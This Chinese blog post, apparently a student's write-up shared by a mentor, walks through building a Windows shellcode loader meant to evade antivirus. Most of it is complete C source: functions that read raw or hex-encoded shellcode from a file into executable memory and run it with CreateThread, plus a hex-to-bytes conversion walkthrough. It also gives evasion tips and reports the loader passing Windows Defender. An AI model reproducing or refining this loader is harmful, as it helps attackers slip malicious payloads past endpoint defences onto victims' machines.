此篇为投稿文章,为知识星球内一位刚上大学的小伙子@Muxue
投稿(国庆假期小伙子们的学习劲头值得表扬)
在我指导下协助其解决了一些问题后,让他记录了一篇文章,潦草了些,但是我觉得也能帮助下基础薄弱的同学,所以将这篇记录发出来。
最后再表扬下@Muxue
同学
为了保留小伙子的原汁原味,下面是原文我未作改动,并保留了一些奇奇怪怪的语气词。
前言
之前的东西,加了个功能又学到了新东西,练下代码;这一篇都非常简单!!!这垃圾代码再改改,硬编码下字符串、隐藏下WinAPI等,肯定效果很更好点。
开冲
就是简单的三部曲
- 申请内存
- 写入内存
- 然后加载
VirtualAlloc() or VirtualAllocEx(); CopyMemory() or WriteMemory(); CreateThread() or (*(void (*)()) shellcode)();
还有很多类似的这种...
ExecBin
这个就比较简单了
- 从文件中读取
- 然后拷贝进内存
- 创建线程加载
void ExecBin(char* file_name) { LARGE_INTEGER fileSize; HANDLE hThread; DWORD dwThreadId; char* filename = file_name; HANDLE MyFile = CreateFileA(file_name, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); GetFileSizeEx(MyFile, &fileSize); char buf[6000]; ZeroMemory(&buf, sizeof(buf)); printf("Size : %d \n", fileSize.LowPart); char *xue_buf = (char*)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); ReadFile(MyFile, buf, fileSize.LowPart, 0, NULL); CopyMemory(xue_buf, buf, sizeof(buf)); hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)xue_buf, NULL, NULL, &dwThreadId); // 等待线程 WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束 VirtualFree(xue_buf, 0, MEM_RELEASE); CloseHandle(MyFile); CloseHandle(hThread); }
通过ReadFIle读取二进制文件,放入到一个变量中,最后把这个变量CopyMemory拷贝进一块内存中, 最后加载执行。
ExecTxt
像那种原始的shellcode payload,直接整进内存再加载,极为方便所以一些AV看的就比较严了。我就在想原来看人家通过txt加载(正常文本反正不会杀吧),所以有了这个函数。这里和上面其实差不了太多,核心的功能其实就是 读取Hex字符串转换为Shellcode
借鉴于这个项目:https://github.com/DimopoulosElias/SimpleShellcodeInjector
想要弄明白就调试一下,我直接用的@idiotc4t师傅的demo来做测试了
for(unsigned int i = 0; i< iterations-1; i++) { sscanf(shellcode+2*i, "%2X", &char_in_hex); // sscanf格式化输出,%2x以 十六进制输出保留两位(应该就是取两位),然后传入char_in_hex里 shellcode[i] = (char)char_in_hex; }
首先看没有转换的
可以从内存窗口看出就是单纯的字符串,要是拷贝进内存中,拷贝进去的不是shellcode而是这些字符 串!这是踩了个坑 基础太差
然后接着跟进
可以看出来就是根据字符串转为对应的16进制的数据然后重新写入shellcode里
然后我们再看第二组
调试出为72 对应的ASCII也就是H,然后拷贝进内存就是对应的48了(ASCII的H转换为十六进制也就是48) 所以这样一个个走下去,一组转换为int类型,然后int类型转换为对应的十六进制,最后就放到对应的 shellcode[i]里
1. i=0,shellcode+2*0,但是取2位就是第一组(1 2) 字符串里的FC -> 252 -> 在内存里就 是FC 2. i=1,shellcode+2*1,就是取2+2也就是第二组(3 4) 字符串里的48 -> 72 -> 在字符里就 是H -> 在内存里就是48 3. i=2,shellcode+2*2,就是取2+4也就是第三组(5 6) 字符串里的83 -> 131 -> 在内存里就 是83 // 但是别忘了我们字符串里的也是16进制的 ....
只是找到对应的了,假如shellcode字符串里的是48(hex)就转换为ascii 10进制的72,在字符串中 显示的就是H,但是在内存中显示的就是48(hex)了; 这样以此类推下去 每个取2位然后进行转换,我是这样理解的 有不对的请师傅们指出
这里放出来转换前和转换后的俩图,大家一看就明白了
注意看内存窗口 就是单纯的字符串,我们所需的shellcode也没有在内存中,你加载执行的只是这 些字符串并不是所需的shellcode
我们在比对下转换后的
这样shellcode就正常在内存中了
#include <stdio.h> #include <Windows.h> int main(int argc, char* argv[]) { char shellcode[] = ""; unsigned int char_in_hex; // 临时变量 unsigned int iterations = strlen(shellcode); // 整体shellcode的长度 unsigned int memory_allocation = strlen(shellcode) / 2 ; // 因为在内存中俩个为1byte吗 除2 DWORD temp; LARGE_INTEGER fileSize; HANDLE hThread; DWORD dwThreadId; char *xue_buf = (char*)VirtualAlloc(NULL, memory_allocation, MEM_COMMIT, PAGE_EXECUTE_READWRITE); for (unsigned int i = 0; i < iterations / 2; i++) { //减小开销 sscanf_s(shellcode + 2 * i, "%2X", &char_in_hex); shellcode[i] = (char)char_in_hex; } CopyMemory(xue_buf, shellcode, memory_allocation); return 0; }
这样一搞明白ExecTxt这个函数的原理就很简单了
void ExecTxt(char* file_name) { LARGE_INTEGER fileSize; HANDLE hThread; DWORD dwThreadId; char* filename = file_name; unsigned int char_in_hex; HANDLE MyFile = CreateFileA(file_name, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); GetFileSizeEx(MyFile, &fileSize); char buf[6000]; ZeroMemory(&buf, sizeof(buf)); printf("Size : %d \n", fileSize.LowPart); char *xue_buf = (char*)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); ReadFile(MyFile, buf, fileSize.LowPart, 0, NULL); unsigned int iterations = strlen(buf); for (unsigned int i = 0; i < iterations / 2; i++) { //减小开销 sscanf_s(buf + 2 * i, "%2X", &char_in_hex); buf[i] = (char)char_in_hex; } CopyMemory(xue_buf, buf, sizeof(buf)); // printf(xue_buf); hThread = CreateThread(NULL,NULL, (LPTHREAD_START_ROUTINE)xue_buf,NULL,NULL,&dwThreadId); // 等待线程 WaitForSingleObject(hThread, INFINITE); VirtualFree(xue_buf, 0, MEM_RELEASE); CloseHandle(MyFile); CloseHandle(hThread); }
就是把\x or 0x删除(这个功能我没写 我直接从就删除了然后到txt里),申请块内存,通过ReadFIle读取进 来,然后把对应的字符串的16进制数据重新写入xue_buf
里,最后ZeroMemory拷贝进内存, CreateThread加载。
测试
最后测下免杀性了
Windows Defender
我擦 可以
起初我还不大敢相信 又放在downloads下 测试了一遍确实可以,加载bin就不出意外的杀了
火绒
360
以上就是投稿文章的全部内容。